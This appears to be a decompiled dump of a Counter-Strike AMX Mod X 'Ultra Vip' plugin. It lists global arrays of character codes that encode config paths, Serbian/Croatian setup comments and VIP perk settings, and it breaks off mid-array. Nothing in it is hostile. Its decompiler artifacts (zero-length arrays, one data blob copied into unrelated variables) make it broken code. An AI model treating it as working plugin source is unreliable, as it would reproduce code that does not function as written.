Code:
new ApiOznake[5];
new ApiGlobalne[130];
new __dhud_color;
new __dhud_x;
new __dhud_y;
new __dhud_effect;
new __dhud_fxtime;
new __dhud_holdtime;
new __dhud_fadeintime;
new __dhud_fadeouttime;
new __dhud_reliable;
new TeamName[4][0] =
{
{
0, ...
},
{
84, ...
},
{
67, ...
},
{
83, ...
}
};
new _vault_dir[31] =
{
97, 100, 100, 111, 110, 115, 47, 97, 109, 120, 109, 111, 100, 120, 47, 100, 97, 116, 97, 47, 102, 105, 108, 101, 95, 118, 97, 117, 108, 116, 0
};
new _temp_vault[16] =
{
102, 118, 97, 117, 108, 116, 95, 116, 101, 109, 112, 46, 116, 120, 116, 0
};
new Datoteke[3][0] =
{
{
97, ...
},
{
97, ...
},
{
97, ...
}
};
new xs__ITaskId = 12;
new xs__ITaskParam[1033] =
{
12, 176, 380, 97, 100, 100, 111, 110, 115, 47, 97, 109, 120, 109, 111, 100, 120, 47, 99, 111, 110, 102, 105, 103, 115, 47, 66, 121, 77, 95, 85, 108, 116, 114, 97, 86, 105, 112, 95, 118, 49, 95, 51, 47, 0, 97, 100, 100, 111, 110, 115, 47, 97, 109, 120, 109, 111, 100, 120, 47, 99, 111, 110, 102, 105, 103, 115, 47, 66, 121, 77, 95, 85, 108, 116, 114, 97, 86, 105, 112, 95, 118, 49, 95, 51, 47, 86, 105, 112, 111, 118, 105, 46, 105, 110, 105, 0, 97, 100, 100, 111, 110, 115, 47, 97, 109, 120, 109, 111, 100, 120, 47, 99, 111, 110, 102, 105, 103, 115, 47, 66, 121, 77, 95, 85, 108, 116, 114, 97, 86, 105, 112, 95, 118, 49, 95, 51, 47, 80, 111, 100, 101, 115, 97, 118, 97, 110, 106, 97, 46, 99, 102, 103, 0, 40, 232, 308, 464, 468, 568, 728, 836, 956, 956, 59, 32, 79, 118, 100, 101, 32, 115, 101, 32, 100, 111, 100, 97, 106, 117, 32, 118, 105, 112, 111, 118, 105, 32, 40, 85, 108, 116, 114, 97, 32, 86, 105, 112, 32, 98, 121, 32, 77, 105, 108, 117, 116, 105, 110, 107, 101, 41, 0, 59, 32, 70, 111, 114, 109, 97, 116, 32, 68, 111, 100, 97, 118, 97, 110, 106, 97, 58, 0, 59, 32, 60, 83, 116, 101, 97, 109, 32, 73, 68, 47, 78, 105, 99, 107, 47, 73, 112, 62, 32, 60, 76, 111, 122, 105, 110, 107, 97, 47, 80, 97, 115, 115, 119, 111, 114, 100, 62, 0, 32, 0, 59, 32, 80, 114, 105, 109, 101, 114, 105, 32, 100, 111, 100, 97, 116, 105, 104, 32, 118, 105, 112, 111, 118, 97, 58, 0, 59, 32, 34, 83, 84, 69, 65, 77, 95, 48, 58, 48, 58, 49, 57, 50, 51, 54, 49, 48, 49, 50, 53, 52, 34, 32, 34, 76, 111, 122, 105, 110, 107, 97, 79, 118, 100, 101, 34, 32, 0, 59, 32, 34, 109, 105, 108, 117, 116, 105, 110, 107, 101, 34, 32, 34, 76, 111, 122, 105, 110, 107, 97, 79, 118, 100, 101, 34, 0, 59, 32, 34, 50, 52, 46, 50, 51, 46, 53, 54, 46, 49, 51, 34, 32, 34, 76, 111, 122, 105, 110, 107, 97, 79, 118, 100, 101, 34, 32, 0, 0, 32, 0, 32, 76, 128, 192, 260, 312, 384, 464, 118, 105, 112, 95, 106, 101, 95, 117, 115, 97, 111, 0, 118, 105, 112, 95, 106, 101, 95, 105, 122, 97, 115, 97, 111, 0, 118, 105, 112, 95, 115, 101, 95, 115, 112, 97, 119, 110, 111, 118, 97, 111, 0, 118, 105, 112, 95, 106, 101, 95, 117, 98, 105, 111, 95, 110, 101, 107, 111, 103, 0, 118, 105, 112, 95, 106, 101, 95, 117, 98, 105, 106, 101, 110, 0, 118, 105, 112, 95, 106, 101, 95, 112, 111, 115, 116, 97, 118, 105, 111, 95, 99, 52, 0, 118, 105, 112, 95, 106, 101, 95, 100, 101, 109, 111, 110, 116, 105, 114, 97, 111, 95, 99, 52, 0, 118, 105, 112, 95, 106, 101, 95, 115, 112, 97, 115, 105, 111, 95, 116, 97, 111, 99, 97, 0, 160, 168, 176, 184, 192, 200, 208, 216, 224, 232, 240, 248, 256, 264, 272, 280, 288, 296, 304, 312, 320, 328, 336, 344, 352, 360, 368, 376, 384, 392, 400, 408, 416, 424, 432, 440, 448, 456, 464, 472, 480, 604, 612, 808, 916, 932, 1112, 1220, 1232, 1412, 1536, 1544, 1740, 1844, 1852, 2080, 2188, 2196, 2376, 2464, 2472, 2684, 2792, 2804, 2984, 3072, 3084, 3296, 3384, 3396, 3628, 3748, 3752, 3944, 4044, 4048, 4272, 4372, 4384, 4616, 4648, 4652, 4720, 4800, 4804, 4916, 4952, 4968, 5480, 5564, 5572, 5748, 5812, 5816, 6028, 6112, 6116, 6436, 6484, 6488, 6832, 6896, 6900, 7148, 7268, 7272, 7652, 7760, 7804, 8176, 8280, 8284, 8512, 8572, 8588, 8772, 8820, 8824, 9372, 9424, 9444, 10072, 10104, 10108, 10448, 10504, 10508, 11020, 11068, 11076, 11532, 11564, 11568, 12000, 12060, 12080, 12340, 12428, 12432, 12724, 12808, 12812, 12908, 12984, 12988, 13092, 13172, 13176, 13260, 13336, 13340, 13464, 13540, 13544, 13656, 13732, 13748, 13964, 14036, 14040, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 97, 95, 101, 110, 101, 114, 103, 105, 106, 97, 95, 110, 97, 95, 112, 111, 99, 101, 116, 107, 117, 0, 53, 48, 0, 68, 111, 100, 97, 116, 110, 97, 32, 101, 110, 101, 114, 103, 105, 106, 97, 32, 107, 111, 106, 117, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 115, 101, 32, 115, 112, 97, 119, 110, 117, 106, 101, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 101, 95, 112, 97, 114, 101, 95, 110, 97, 95, 112, 111, 99, 101, 116, 107, 117, 0, 51, 48, 48, 48, 0, 68, 111, 100, 97, 116, 110, 101, 32, 112, 97, 114, 101, 32, 107, 111, 106, 101, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 115, 101, 32, 115, 112, 97, 119, 110, 117, 106, 101, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 105, 95, 115, 116, 105, 116, 95, 110, 97, 95, 112, 111, 99, 101, 116, 107, 117, 0, 49, 48, 48, 0, 68, 111, 100, 97, 116, 110, 105, 32, 115, 116, 105, 116, 32, 107, 111, 106, 105, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 101, 32, 107, 97, 100, 97, 32, 115, 101, 32, 115, 112, 97, 119, 110, 117, 106, 101, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 97, 95, 101, 110, 101, 114, 103, 105, 106, 97, 95, 122, 97, 95, 117, 98, 105, 115, 116, 118, 111, 0, 49, 53, 0, 68, 111, 100, 97, 116, 110, 97, 32, 101, 110, 101, 114, 103, 105, 106, 97, 32, 107, 111, 106, 117, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 101, 32, 107, 97, 100, 97, 32, 117, 98, 105, 106, 101, 32, 110, 101, 107, 111, 103
};
new xs__TaskFlags[5] =
{
12, 176, 380, 97, 100
};
new xs__TaskFunc[48] =
{
12, 176, 380, 97, 100, 100, 111, 110, 115, 47, 97, 109, 120, 109, 111, 100, 120, 47, 99, 111, 110, 102, 105, 103, 115, 47, 66, 121, 77, 95, 85, 108, 116, 114, 97, 86, 105, 112, 95, 118, 49, 95, 51, 47, 0, 97, 100, 100
};
new xs__TaskId = 12;
new Float:xs__TaskInterval = 12;
new xs__TaskParam[1033] =
{
12, 176, 380, 97, 100, 100, 111, 110, 115, 47, 97, 109, 120, 109, 111, 100, 120, 47, 99, 111, 110, 102, 105, 103, 115, 47, 66, 121, 77, 95, 85, 108, 116, 114, 97, 86, 105, 112, 95, 118, 49, 95, 51, 47, 0, 97, 100, 100, 111, 110, 115, 47, 97, 109, 120, 109, 111, 100, 120, 47, 99, 111, 110, 102, 105, 103, 115, 47, 66, 121, 77, 95, 85, 108, 116, 114, 97, 86, 105, 112, 95, 118, 49, 95, 51, 47, 86, 105, 112, 111, 118, 105, 46, 105, 110, 105, 0, 97, 100, 100, 111, 110, 115, 47, 97, 109, 120, 109, 111, 100, 120, 47, 99, 111, 110, 102, 105, 103, 115, 47, 66, 121, 77, 95, 85, 108, 116, 114, 97, 86, 105, 112, 95, 118, 49, 95, 51, 47, 80, 111, 100, 101, 115, 97, 118, 97, 110, 106, 97, 46, 99, 102, 103, 0, 40, 232, 308, 464, 468, 568, 728, 836, 956, 956, 59, 32, 79, 118, 100, 101, 32, 115, 101, 32, 100, 111, 100, 97, 106, 117, 32, 118, 105, 112, 111, 118, 105, 32, 40, 85, 108, 116, 114, 97, 32, 86, 105, 112, 32, 98, 121, 32, 77, 105, 108, 117, 116, 105, 110, 107, 101, 41, 0, 59, 32, 70, 111, 114, 109, 97, 116, 32, 68, 111, 100, 97, 118, 97, 110, 106, 97, 58, 0, 59, 32, 60, 83, 116, 101, 97, 109, 32, 73, 68, 47, 78, 105, 99, 107, 47, 73, 112, 62, 32, 60, 76, 111, 122, 105, 110, 107, 97, 47, 80, 97, 115, 115, 119, 111, 114, 100, 62, 0, 32, 0, 59, 32, 80, 114, 105, 109, 101, 114, 105, 32, 100, 111, 100, 97, 116, 105, 104, 32, 118, 105, 112, 111, 118, 97, 58, 0, 59, 32, 34, 83, 84, 69, 65, 77, 95, 48, 58, 48, 58, 49, 57, 50, 51, 54, 49, 48, 49, 50, 53, 52, 34, 32, 34, 76, 111, 122, 105, 110, 107, 97, 79, 118, 100, 101, 34, 32, 0, 59, 32, 34, 109, 105, 108, 117, 116, 105, 110, 107, 101, 34, 32, 34, 76, 111, 122, 105, 110, 107, 97, 79, 118, 100, 101, 34, 0, 59, 32, 34, 50, 52, 46, 50, 51, 46, 53, 54, 46, 49, 51, 34, 32, 34, 76, 111, 122, 105, 110, 107, 97, 79, 118, 100, 101, 34, 32, 0, 0, 32, 0, 32, 76, 128, 192, 260, 312, 384, 464, 118, 105, 112, 95, 106, 101, 95, 117, 115, 97, 111, 0, 118, 105, 112, 95, 106, 101, 95, 105, 122, 97, 115, 97, 111, 0, 118, 105, 112, 95, 115, 101, 95, 115, 112, 97, 119, 110, 111, 118, 97, 111, 0, 118, 105, 112, 95, 106, 101, 95, 117, 98, 105, 111, 95, 110, 101, 107, 111, 103, 0, 118, 105, 112, 95, 106, 101, 95, 117, 98, 105, 106, 101, 110, 0, 118, 105, 112, 95, 106, 101, 95, 112, 111, 115, 116, 97, 118, 105, 111, 95, 99, 52, 0, 118, 105, 112, 95, 106, 101, 95, 100, 101, 109, 111, 110, 116, 105, 114, 97, 111, 95, 99, 52, 0, 118, 105, 112, 95, 106, 101, 95, 115, 112, 97, 115, 105, 111, 95, 116, 97, 111, 99, 97, 0, 160, 168, 176, 184, 192, 200, 208, 216, 224, 232, 240, 248, 256, 264, 272, 280, 288, 296, 304, 312, 320, 328, 336, 344, 352, 360, 368, 376, 384, 392, 400, 408, 416, 424, 432, 440, 448, 456, 464, 472, 480, 604, 612, 808, 916, 932, 1112, 1220, 1232, 1412, 1536, 1544, 1740, 1844, 1852, 2080, 2188, 2196, 2376, 2464, 2472, 2684, 2792, 2804, 2984, 3072, 3084, 3296, 3384, 3396, 3628, 3748, 3752, 3944, 4044, 4048, 4272, 4372, 4384, 4616, 4648, 4652, 4720, 4800, 4804, 4916, 4952, 4968, 5480, 5564, 5572, 5748, 5812, 5816, 6028, 6112, 6116, 6436, 6484, 6488, 6832, 6896, 6900, 7148, 7268, 7272, 7652, 7760, 7804, 8176, 8280, 8284, 8512, 8572, 8588, 8772, 8820, 8824, 9372, 9424, 9444, 10072, 10104, 10108, 10448, 10504, 10508, 11020, 11068, 11076, 11532, 11564, 11568, 12000, 12060, 12080, 12340, 12428, 12432, 12724, 12808, 12812, 12908, 12984, 12988, 13092, 13172, 13176, 13260, 13336, 13340, 13464, 13540, 13544, 13656, 13732, 13748, 13964, 14036, 14040, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 97, 95, 101, 110, 101, 114, 103, 105, 106, 97, 95, 110, 97, 95, 112, 111, 99, 101, 116, 107, 117, 0, 53, 48, 0, 68, 111, 100, 97, 116, 110, 97, 32, 101, 110, 101, 114, 103, 105, 106, 97, 32, 107, 111, 106, 117, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 115, 101, 32, 115, 112, 97, 119, 110, 117, 106, 101, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 101, 95, 112, 97, 114, 101, 95, 110, 97, 95, 112, 111, 99, 101, 116, 107, 117, 0, 51, 48, 48, 48, 0, 68, 111, 100, 97, 116, 110, 101, 32, 112, 97, 114, 101, 32, 107, 111, 106, 101, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 115, 101, 32, 115, 112, 97, 119, 110, 117, 106, 101, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 105, 95, 115, 116, 105, 116, 95, 110, 97, 95, 112, 111, 99, 101, 116, 107, 117, 0, 49, 48, 48, 0, 68, 111, 100, 97, 116, 110, 105, 32, 115, 116, 105, 116, 32, 107, 111, 106, 105, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 101, 32, 107, 97, 100, 97, 32, 115, 101, 32, 115, 112, 97, 119, 110, 117, 106, 101, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 97, 95, 101, 110, 101, 114, 103, 105, 106, 97, 95, 122, 97, 95, 117, 98, 105, 115, 116, 118, 111, 0, 49, 53, 0, 68, 111, 100, 97, 116, 110, 97, 32, 101, 110, 101, 114, 103, 105, 106, 97, 32, 107, 111, 106, 117, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 101, 32, 107, 97, 100, 97, 32, 117, 98, 105, 106, 101, 32, 110, 101, 107, 111, 103
};
new xs__TaskRepeat = 12;
new xs__global_null = 12;
new xs__internalseed = 12;
new xs__logtypenames[6][0] =
{
{
97, ...
},
{
97, ...
},
{
97, ...
},
{
1291845632, ...
},
{
95, ...
},
{
85, ...
}
};
new xs__maxnum = 12;
new xs__replace_buf[3072] =
{
12, 176, 380, 97, 100, 100, 111, 110, 115, 47, 97, 109, 120, 109, 111, 100, 120, 47, 99, 111, 110, 102, 105, 103, 115, 47, 66, 121, 77, 95, 85, 108, 116, 114, 97, 86, 105, 112, 95, 118, 49, 95, 51, 47, 0, 97, 100, 100, 111, 110, 115, 47, 97, 109, 120, 109, 111, 100, 120, 47, 99, 111, 110, 102, 105, 103, 115, 47, 66, 121, 77, 95, 85, 108, 116, 114, 97, 86, 105, 112, 95, 118, 49, 95, 51, 47, 86, 105, 112, 111, 118, 105, 46, 105, 110, 105, 0, 97, 100, 100, 111, 110, 115, 47, 97, 109, 120, 109, 111, 100, 120, 47, 99, 111, 110, 102, 105, 103, 115, 47, 66, 121, 77, 95, 85, 108, 116, 114, 97, 86, 105, 112, 95, 118, 49, 95, 51, 47, 80, 111, 100, 101, 115, 97, 118, 97, 110, 106, 97, 46, 99, 102, 103, 0, 40, 232, 308, 464, 468, 568, 728, 836, 956, 956, 59, 32, 79, 118, 100, 101, 32, 115, 101, 32, 100, 111, 100, 97, 106, 117, 32, 118, 105, 112, 111, 118, 105, 32, 40, 85, 108, 116, 114, 97, 32, 86, 105, 112, 32, 98, 121, 32, 77, 105, 108, 117, 116, 105, 110, 107, 101, 41, 0, 59, 32, 70, 111, 114, 109, 97, 116, 32, 68, 111, 100, 97, 118, 97, 110, 106, 97, 58, 0, 59, 32, 60, 83, 116, 101, 97, 109, 32, 73, 68, 47, 78, 105, 99, 107, 47, 73, 112, 62, 32, 60, 76, 111, 122, 105, 110, 107, 97, 47, 80, 97, 115, 115, 119, 111, 114, 100, 62, 0, 32, 0, 59, 32, 80, 114, 105, 109, 101, 114, 105, 32, 100, 111, 100, 97, 116, 105, 104, 32, 118, 105, 112, 111, 118, 97, 58, 0, 59, 32, 34, 83, 84, 69, 65, 77, 95, 48, 58, 48, 58, 49, 57, 50, 51, 54, 49, 48, 49, 50, 53, 52, 34, 32, 34, 76, 111, 122, 105, 110, 107, 97, 79, 118, 100, 101, 34, 32, 0, 59, 32, 34, 109, 105, 108, 117, 116, 105, 110, 107, 101, 34, 32, 34, 76, 111, 122, 105, 110, 107, 97, 79, 118, 100, 101, 34, 0, 59, 32, 34, 50, 52, 46, 50, 51, 46, 53, 54, 46, 49, 51, 34, 32, 34, 76, 111, 122, 105, 110, 107, 97, 79, 118, 100, 101, 34, 32, 0, 0, 32, 0, 32, 76, 128, 192, 260, 312, 384, 464, 118, 105, 112, 95, 106, 101, 95, 117, 115, 97, 111, 0, 118, 105, 112, 95, 106, 101, 95, 105, 122, 97, 115, 97, 111, 0, 118, 105, 112, 95, 115, 101, 95, 115, 112, 97, 119, 110, 111, 118, 97, 111, 0, 118, 105, 112, 95, 106, 101, 95, 117, 98, 105, 111, 95, 110, 101, 107, 111, 103, 0, 118, 105, 112, 95, 106, 101, 95, 117, 98, 105, 106, 101, 110, 0, 118, 105, 112, 95, 106, 101, 95, 112, 111, 115, 116, 97, 118, 105, 111, 95, 99, 52, 0, 118, 105, 112, 95, 106, 101, 95, 100, 101, 109, 111, 110, 116, 105, 114, 97, 111, 95, 99, 52, 0, 118, 105, 112, 95, 106, 101, 95, 115, 112, 97, 115, 105, 111, 95, 116, 97, 111, 99, 97, 0, 160, 168, 176, 184, 192, 200, 208, 216, 224, 232, 240, 248, 256, 264, 272, 280, 288, 296, 304, 312, 320, 328, 336, 344, 352, 360, 368, 376, 384, 392, 400, 408, 416, 424, 432, 440, 448, 456, 464, 472, 480, 604, 612, 808, 916, 932, 1112, 1220, 1232, 1412, 1536, 1544, 1740, 1844, 1852, 2080, 2188, 2196, 2376, 2464, 2472, 2684, 2792, 2804, 2984, 3072, 3084, 3296, 3384, 3396, 3628, 3748, 3752, 3944, 4044, 4048, 4272, 4372, 4384, 4616, 4648, 4652, 4720, 4800, 4804, 4916, 4952, 4968, 5480, 5564, 5572, 5748, 5812, 5816, 6028, 6112, 6116, 6436, 6484, 6488, 6832, 6896, 6900, 7148, 7268, 7272, 7652, 7760, 7804, 8176, 8280, 8284, 8512, 8572, 8588, 8772, 8820, 8824, 9372, 9424, 9444, 10072, 10104, 10108, 10448, 10504, 10508, 11020, 11068, 11076, 11532, 11564, 11568, 12000, 12060, 12080, 12340, 12428, 12432, 12724, 12808, 12812, 12908, 12984, 12988, 13092, 13172, 13176, 13260, 13336, 13340, 13464, 13540, 13544, 13656, 13732, 13748, 13964, 14036, 14040, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 97, 95, 101, 110, 101, 114, 103, 105, 106, 97, 95, 110, 97, 95, 112, 111, 99, 101, 116, 107, 117, 0, 53, 48, 0, 68, 111, 100, 97, 116, 110, 97, 32, 101, 110, 101, 114, 103, 105, 106, 97, 32, 107, 111, 106, 117, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 115, 101, 32, 115, 112, 97, 119, 110, 117, 106, 101, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 101, 95, 112, 97, 114, 101, 95, 110, 97, 95, 112, 111, 99, 101, 116, 107, 117, 0, 51, 48, 48, 48, 0, 68, 111, 100, 97, 116, 110, 101, 32, 112, 97, 114, 101, 32, 107, 111, 106, 101, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 115, 101, 32, 115, 112, 97, 119, 110, 117, 106, 101, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 105, 95, 115, 116, 105, 116, 95, 110, 97, 95, 112, 111, 99, 101, 116, 107, 117, 0, 49, 48, 48, 0, 68, 111, 100, 97, 116, 110, 105, 32, 115, 116, 105, 116, 32, 107, 111, 106, 105, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 101, 32, 107, 97, 100, 97, 32, 115, 101, 32, 115, 112, 97, 119, 110, 117, 106, 101, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 97, 95, 101, 110, 101, 114, 103, 105, 106, 97, 95, 122, 97, 95, 117, 98, 105, 115, 116, 118, 111, 0, 49, 53, 0, 68, 111, 100, 97, 116, 110, 97, 32, 101, 110, 101, 114, 103, 105, 106, 97, 32, 107, 111, 106, 117, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 101, 32, 107, 97, 100, 97, 32, 117, 98, 105, 106, 101, 32, 110, 101, 107, 111, 103, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 97, 95, 101, 110, 101, 114, 103, 105, 106, 97, 95, 122, 97, 95, 104, 115, 0, 50, 48, 0, 68, 111, 100, 97, 116, 110, 97, 32, 101, 110, 101, 114, 103, 105, 106, 97, 32, 107, 111, 106, 117, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 101, 32, 107, 97, 100, 97, 32, 117, 112, 117, 99, 97, 32, 110, 101, 107, 111, 103, 32, 117, 32, 103, 108, 97, 118, 117, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 105, 95, 115, 116, 105, 116, 95, 122, 97, 95, 117, 98, 105, 115, 116, 118, 111, 0, 49, 48, 0, 68, 111, 100, 97, 116, 110, 105, 32, 115, 116, 105, 116, 32, 107, 111, 106, 105, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 117, 98, 105, 106, 101, 32, 110, 101, 107, 111, 103, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 105, 95, 115, 116, 105, 116, 95, 122, 97, 95, 104, 115, 0, 49, 53, 0, 68, 111, 100, 97, 116, 110, 105, 32, 115, 116, 105, 116, 32, 107, 111, 106, 105, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 117, 112, 117, 99, 97, 32, 110, 101, 107, 111, 103, 32, 117, 32, 103, 108, 97, 118, 117, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 101, 95, 112, 97, 114, 101, 95, 122, 97, 95, 117, 98, 105, 115, 116, 118, 111, 0, 51, 53, 48, 0, 68, 111, 100, 97, 116, 110, 101, 32, 112, 97, 114, 101, 32, 107, 111, 106, 101, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 117, 98, 105, 106, 101, 32, 110, 101, 107, 111, 103, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 101, 95, 112, 97, 114, 101, 95, 122, 97, 95, 104, 115, 0, 52, 48, 48, 0, 68, 111, 100, 97, 116, 110, 101, 32, 112, 97, 114, 101, 32, 107, 111, 106, 101, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 117, 112, 117, 99, 97, 32, 110, 101, 107, 111, 103, 32, 117, 32, 103, 108, 97, 118, 117, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 101, 95, 112, 97, 114, 101, 95, 122, 97, 95, 99, 52, 0, 53, 48, 48, 0, 68, 111, 100, 97, 116, 110, 101, 32, 112, 97, 114, 101, 32, 107, 111, 106, 101, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 112, 111, 115, 116, 97, 118, 105, 32, 105, 108, 105, 32, 100, 101, 109, 111, 110, 116, 105, 114, 97, 32, 67, 52, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 105, 95, 102, 114, 97, 103, 111, 118, 105, 95, 122, 97, 95, 117, 98, 105, 115, 116, 118, 111, 0, 49, 0, 68, 111, 100, 97, 116, 110, 105, 32, 102, 114, 97, 103, 111, 118, 105, 32, 107, 111, 106, 101, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 117, 98, 105, 106, 101, 32, 110, 101, 107, 111, 103, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 105, 95, 102, 114, 97, 103, 111, 118, 105, 95, 122, 97, 95, 104, 115, 0, 50, 0, 68, 111, 100, 97, 116, 110, 105, 32, 102, 114, 97, 103, 111, 118, 105, 32, 107, 111, 106, 101, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 117, 112, 117, 99, 97, 32, 110, 101, 107, 111, 103, 32, 117, 32, 103, 108, 97, 118, 117, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 101, 95, 112, 97, 114, 101, 95, 122, 97, 95, 116, 97, 111, 99, 97, 0, 51, 48, 48, 0, 68, 111, 100, 97, 116, 110, 101, 32, 112, 97, 114, 101, 32, 107, 111, 106, 101, 32, 105, 103, 114, 97, 99, 32, 100, 111, 98, 105, 106, 97, 32, 107, 97, 100, 97, 32, 115, 112, 97, 115, 105, 32, 116, 97, 111, 99, 97, 32, 40, 80, 111, 32, 116, 97, 111, 99, 117, 41, 0, 118, 105, 112, 95, 98, 104, 111, 112, 0, 49, 0, 86, 105, 112, 32, 105, 109, 97, 32, 66, 117, 110, 110, 121, 32, 72, 111, 112, 0, 118, 105, 112, 95, 112, 114, 101, 99, 105, 122, 110, 111, 95, 112, 117, 99, 97, 110, 106, 101, 0, 49, 0, 86, 105, 112, 117, 32, 110, 101, 32, 116, 114, 122, 97, 32, 112, 117, 115, 107, 97, 32, 107, 97, 100, 97, 32, 112, 117, 99, 97, 0, 118, 105, 112, 95, 98, 111, 109, 98, 101, 0, 103, 100, 122, 102, 0, 66, 111, 109, 98, 101, 32, 107, 111, 106, 101, 32, 118, 105, 112, 32, 100, 111, 98, 105, 106, 97, 32, 110, 97, 32, 112, 111, 99, 101, 116, 107, 117, 32, 91, 103, 32, 45, 32, 82, 117, 99, 110, 97, 32, 71, 114, 97, 110, 97, 116, 97, 32, 124, 32, 100, 32, 45, 32, 68, 105, 109, 110, 97, 32, 66, 111, 109, 98, 97, 32, 124, 32, 122, 32, 45, 32, 90, 97, 115, 108, 101, 112, 108, 106, 117, 106, 117, 99, 97, 32, 66, 111, 109, 98, 97, 32, 124, 32, 102, 32, 45, 32, 68, 114, 117, 103, 97, 32, 90, 97, 115, 108, 101, 112, 108, 106, 117, 106, 117, 99, 97, 32, 66, 111, 109, 98, 97, 93, 0, 118, 105, 112, 95, 100, 111, 100, 97, 116, 110, 111, 95, 111, 115, 116, 101, 99, 101, 110, 106, 101, 0, 49, 48, 0, 68, 111, 100, 97, 116, 110, 111, 32, 111, 115, 116, 101, 99, 101, 110, 106, 101, 32, 107, 111, 106, 101, 32, 118, 105, 112, 32, 110, 97, 110, 111, 115, 105, 32, 112, 114, 111, 116, 105, 118, 110, 105, 107, 117, 0, 118, 105, 112, 95, 99, 104, 97, 116, 95, 112, 114, 101, 102, 105, 107, 115, 0, 49, 0, 86, 105, 112, 32, 105, 109, 97, 32, 99, 104, 97, 116, 32, 112, 114, 101, 102, 105, 107, 115, 32, 91, 80, 111, 100, 114, 97, 122, 117, 109, 101, 118, 97, 110, 111, 32, 105, 32, 112, 114, 101, 112, 111, 114, 117, 99, 101, 110, 111, 58, 32, 49, 93, 0, 118, 105, 112, 95, 98, 111, 106, 97, 95, 99, 104, 97, 116, 95, 112, 114, 101, 102, 105, 107, 97, 0, 50, 0, 66, 111, 106, 97, 32, 118, 105, 112, 32, 99, 104, 97, 116, 32, 112, 114, 101, 102, 105, 107, 115, 97, 32, 91, 49, 32, 45, 32, 122, 117, 116, 97, 32, 124, 32, 50, 32, 45, 32, 90, 101, 108, 101, 110, 97, 32, 124, 32, 51, 32, 45, 32, 84, 105, 109, 32, 98, 111, 106, 97, 93, 32, 91, 80, 111, 100, 114, 97, 122, 117, 109, 101, 118, 97, 110, 111, 58, 32, 50, 93, 0, 118, 105, 112, 95, 115, 107, 111, 114, 95, 116, 97, 103, 0, 49, 0, 85, 32, 115, 107, 111, 114, 98, 111, 97, 114, 100, 117, 32, 118, 105, 112, 117, 32, 115, 116, 111, 106, 105, 32, 111, 122, 110, 97, 107, 97, 32, 86, 73, 80, 32, 40, 83, 97, 109, 111, 32, 99, 116, 32, 105, 103, 114, 97, 99, 105, 109, 97, 41, 32, 91, 80, 111, 100, 114, 97, 122, 117, 109, 101, 118, 97, 110, 111, 32, 105, 32, 112, 114, 101, 112, 111, 114, 117, 99, 101, 110, 111, 58, 32, 49, 93, 0, 118, 105, 112, 95, 98, 114, 111, 106, 95, 115, 107, 111, 107, 111, 118, 97, 0, 50, 0, 75, 111, 108, 105, 107, 111, 32, 112, 117, 116, 97, 32, 118, 105, 112, 32, 109, 111, 122, 101, 32, 100, 97, 32, 115, 107, 111, 99, 105, 32, 91, 80, 111, 100, 114, 97, 122, 117, 109, 101, 118, 97, 110, 111, 32, 105, 32, 112, 114, 101, 112, 111, 114, 117, 99, 101, 110, 111, 58, 32, 50, 93, 0, 118, 105, 112, 95, 117, 115, 97, 111, 95, 110, 97, 95, 115, 101, 114, 118, 101, 114, 95, 111, 98, 97, 118, 101, 115, 116, 101, 110, 106, 101, 0, 49, 0, 75, 97, 100, 97, 32, 118, 105, 112, 32, 117, 100, 106, 101, 32, 110, 97, 32, 115, 101, 114, 118, 101, 114, 32, 115, 118, 105, 32, 105, 103, 114, 97, 99, 105, 32, 100, 111, 98, 105, 106, 97, 106, 117, 32, 111, 98, 97, 118, 101, 115, 116, 101, 110, 106, 101, 32, 111, 32, 116, 111, 109, 101, 32, 91, 80, 111, 100, 114, 97, 122, 117, 109, 101, 118, 97, 110, 111, 